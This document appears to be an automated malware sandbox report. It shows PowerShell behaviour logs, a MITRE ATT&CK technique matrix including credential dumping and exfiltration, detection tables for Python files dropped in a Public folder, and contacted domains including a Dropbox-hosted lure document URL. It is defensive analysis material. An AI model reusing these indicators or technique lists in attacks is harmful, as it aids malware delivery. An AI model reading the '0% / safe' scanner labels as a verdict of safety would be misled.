Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	1 Command and Scripting Interpreter	11 Scripting	11 Process Injection	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 PowerShell	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	11 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Source	Detection	Scanner
C:\Users\Public\Document\Lib\email\_encoded_words.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\email\_header_value_parser.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\email\_policybase.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\email\mime\text.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\email\parser.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\email\policy.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\email\quoprimime.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\email\utils.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\__init__.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\aliases.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\ascii.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\base64_codec.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\bz2_codec.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\charmap.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp037.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1006.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1026.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1125.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1140.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1250.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1251.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1252.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1253.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1254.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1255.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1256.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1257.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1258.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp273.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp424.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp437.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp500.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp720.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp737.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp775.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp850.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp852.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp855.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp856.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp857.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp858.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp860.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp861.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp862.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp863.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp864.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp865.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp866.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp869.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp874.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp875.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\hex_codec.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\hp_roman8.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\idna.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_1.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_10.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_11.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_13.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_14.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_15.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_16.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_2.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_3.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_4.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_5.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_6.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_7.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_8.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_9.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\koi8_r.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\koi8_t.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\koi8_u.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\kz1048.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\latin_1.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_croatian.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_cyrillic.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_greek.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_iceland.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_latin2.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_roman.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_romanian.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_turkish.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mbcs.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\oem.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\palmos.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\ptcp154.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\punycode.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\quopri_codec.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\raw_unicode_escape.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\rot_13.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\tis_620.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\undefined.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\unicode_escape.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\utf_16.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\utf_16_be.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\utf_16_le.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\utf_32.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\utf_32_be.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\utf_32_le.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\utf_7.py	0%	ReversingLabs

Source	Detection	Scanner	Label
https://pyvideo.org/video/289/pycon-2010--mastering-python-3-i-o	0%	Avira URL Cloud	safe
http://www.apache.oF	0%	Avira URL Cloud	safe
https://bugs.python.org/issue3100	0%	Avira URL Cloud	safe
http://bugs.python.org/issue22107	0%	Avira URL Cloud	safe
https://pyvideo.org/video/1768/the-guts-of-unicode-in-python	0%	Avira URL Cloud	safe
http://bugs.python.org/issue19734	0%	Avira URL Cloud	safe
http://bugs.python.org/issue2528	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0342/	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0475/	0%	Avira URL Cloud	safe
http://127.0.0.1/spammity/spam?say=ni	0%	Avira URL Cloud	safe
http://127.0.0.1/spammity/spam;cookie=1234	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0526/	0%	Avira URL Cloud	safe
https://officeapps-df.live.com	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0387/	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0484/	0%	Avira URL Cloud	safe
https://docs.sandbox.google.com/document/fsip/	0%	Avira URL Cloud	safe
http://127.0.0.1/spam	0%	Avira URL Cloud	safe
http://%s/not/found.h	0%	Avira URL Cloud	safe
http://127.0.0.1/	0%	Avira URL Cloud	safe
https://asttokens.readthedocs.io/en/latest/user-guide.html	0%	Avira URL Cloud	safe
http://bugs.python.org/issue20053	0%	Avira URL Cloud	safe
https://app.hellofax.com/	0%	Avira URL Cloud	safe
http://idlefork.sourceforge.net	0%	Avira URL Cloud	safe
http://www.pythontest.net/redir/with_frag/	0%	Avira URL Cloud	safe
http://tix.sourceforge.net.	0%	Avira URL Cloud	safe
https://nedbatchelder.com/text/unipain.html	0%	Avira URL Cloud	safe
https://www.hellofax.com/	0%	Avira URL Cloud	safe
http://127.0.0.1/sp%E4m	0%	Avira URL Cloud	safe
https://www.zytrax.com/tech/survival/asn1.html	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
edge-block-www-env.dropbox-dns.com	162.125.66.15	true	false	high
gitlab.com	172.65.251.78	true	false	high
ipinfo.io	34.117.59.81	true	false	high
www-env.dropbox-dns.com	162.125.66.18	true	false	high
www.dropbox.com	unknown	unknown	false	high
ucec8a788f965b69a40d3f9f21b4.dl.dropboxusercontent.com	unknown	unknown	false	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.apache.oF	powershell.exe, 00000011.00000002.2549782222.0000022FF0E51000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/asyncio-policy.html	asyncio-policy.html.17.dr	false		high
https://gitlab.com/-/sandbox/;	powershell.exe, 0000000F.00000002.1530028772.0000023E01626000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1530028772.0000023E01649000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/main/Doc/library/contextvars.rst	contextvars.html.17.dr	false		high
https://www.dropbox.com/scl/fi/2xk4dviogo9yos	powershell.exe, 0000000D.00000002.1400342987.000001876A118000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/audit_events.html	audit_events.html.17.dr	false		high
https://github.com/python/cpython/blob/main/Doc/library/email.charset.rst	email.charset.html.17.dr	false		high
https://paper.dropbox.com/cloud-docs/edit	powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/aio-libs/aiohttp/discussions/6044	powershell.exe, 00000011.00000002.2448283371.0000022F807D3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://datatracker.ietf.org/doc/html/rfc3339.html	logging.html.17.dr	false		high
https://collector.prd-278964.gl-product-analytics.com	powershell.exe, 0000000F.00000002.1530028772.0000023E01626000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1530028772.0000023E01649000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/tree/3.12/Lib/asyncio/runners.py	asyncio-runner.html.17.dr	false		high
https://pyvideo.org/video/289/pycon-2010--mastering-python-3-i-o	unicode.html.17.dr	false	Avira URL Cloud: safe	unknown
http://bugs.python.org/issue22107	filesystem.py.17.dr	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/	powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pyvideo.org/video/1768/the-guts-of-unicode-in-python	unicode.html.17.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/library/asyncio-sync.rst	asyncio-sync.html.17.dr	false		high
https://github.com/python/cpython/blob/main/Doc/library/datatypes.rst	datatypes.html.17.dr	false		high
https://bugs.python.org/issue3100	test_weakref.py.17.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/howto/isolating-extensions.rst	isolating-extensions.html.17.dr	false		high
https://github.com/textualize	powershell.exe, 00000011.00000002.2448283371.0000022F80901000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.python.org/3/howto/unicode.html	unicode.html.17.dr	false		high
https://github.com/python/cpython/blob/main/Doc/library/bdb.rst	bdb.html.17.dr	false		high
https://nuget.org/nuget.exe	powershell.exe, 0000000D.00000002.1380394770.000001875392C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1397199570.00000187620F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1397199570.0000018761FB6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1583417160.0000023E101B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1583417160.0000023E10074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2536038120.0000022F90072000.00000004.00000800.00020000.00000000.sdmp	false		high
http://bugs.python.org/issue19734	__init__.py25.17.dr	false	Avira URL Cloud: safe	unknown
https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963	ssl_.py.17.dr	false		high
https://peps.python.org/pep-0342/	functional.html.17.dr	false	Avira URL Cloud: safe	unknown
http://bugs.python.org/issue2528	filesystem.py.17.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/tree/3.12/Lib/html/__init__.py	html.html.17.dr	false		high
http://edge-block-www-env.dropbox-dns.com	powershell.exe, 0000000D.00000002.1380394770.00000187535AF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://peps.python.org/pep-0475/	exceptions.html.17.dr	false	Avira URL Cloud: safe	unknown
http://127.0.0.1/spammity/spam?say=ni	test_wsgiref.py.17.dr	false	Avira URL Cloud: safe	unknown
https://www.unicode.org/history/	unicode.html.17.dr	false		high
https://officeapps-df.live.com	powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.login.yahoo.com/	powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.python.org/3/howto/sorting.html	sorting.html.17.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000D.00000002.1380394770.0000018751F41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1530028772.0000023E00001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2448283371.0000022F80001000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/main/Doc/library/concurrent.rst	concurrent.html.17.dr	false		high
https://login.yahoo.com/	powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/playlist/	powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_advertising_campaign_and_collaboration.docx?	powershell.exe, 0000000D.00000002.1401333198.000001876A150000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.recaptcha.net/	powershell.exe, 0000000F.00000002.1530028772.0000023E01649000.00000004.00000800.00020000.00000000.sdmp	false		high
https://onedrive.live.com/picker	powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://127.0.0.1/spam	test_wsgiref.py.17.dr	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com	powershell.exe, 0000000D.00000002.1380394770.0000018753569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.00000187530C0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000011.00000002.2448283371.0000022F80227000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/contextvars.html	contextvars.html.17.dr	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000011.00000002.2448283371.0000022F80227000.00000004.00000800.00020000.00000000.sdmp	false		high
https://peps.python.org/pep-0526/	ast.html.17.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/bisect.html	bisect.html.17.dr	false		high
https://new-sentry.gitlab.net	powershell.exe, 0000000F.00000002.1530028772.0000023E01649000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000011.00000002.2536038120.0000022F90072000.00000004.00000800.00020000.00000000.sdmp	false		high
https://jvns.ca/blog/2023/01/13/examples-of-floating-point-problems/	powershell.exe, 00000011.00000002.2448283371.0000022F80227000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.unicode.org/reports/tr44/#General_Category_Values	unicode.html.17.dr	false		high
https://peps.python.org/pep-0484/	ast.html.17.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/library/asyncio-extending.rst	asyncio-extending.html.17.dr	false		high
https://peps.python.org/pep-0387/	exceptions.html.17.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/tree/3.12/Lib/copy.py	copy.html.17.dr	false		high
http://tools.ietf.org/html/rfc3986#section-5.2.4	url.py.17.dr	false		high
https://datatracker.ietf.org/doc/html/rfc6532.html	email.html.17.dr	false		high
https://github.com/python/cpython/tree/3.12/Lib/gzip.py	gzip.html.17.dr	false		high
https://github.com/python/cpython/blob/main/Doc/library/email.iterators.rst	email.iterators.html.17.dr	false		high
https://github.com/Pester/Pester	powershell.exe, 00000011.00000002.2448283371.0000022F80227000.00000004.00000800.00020000.00000000.sdmp	false		high
http://127.0.0.1/spammity/spam;cookie=1234	test_wsgiref.py.17.dr	false	Avira URL Cloud: safe	unknown
https://docs.sandbox.google.com/document/fsip/	powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
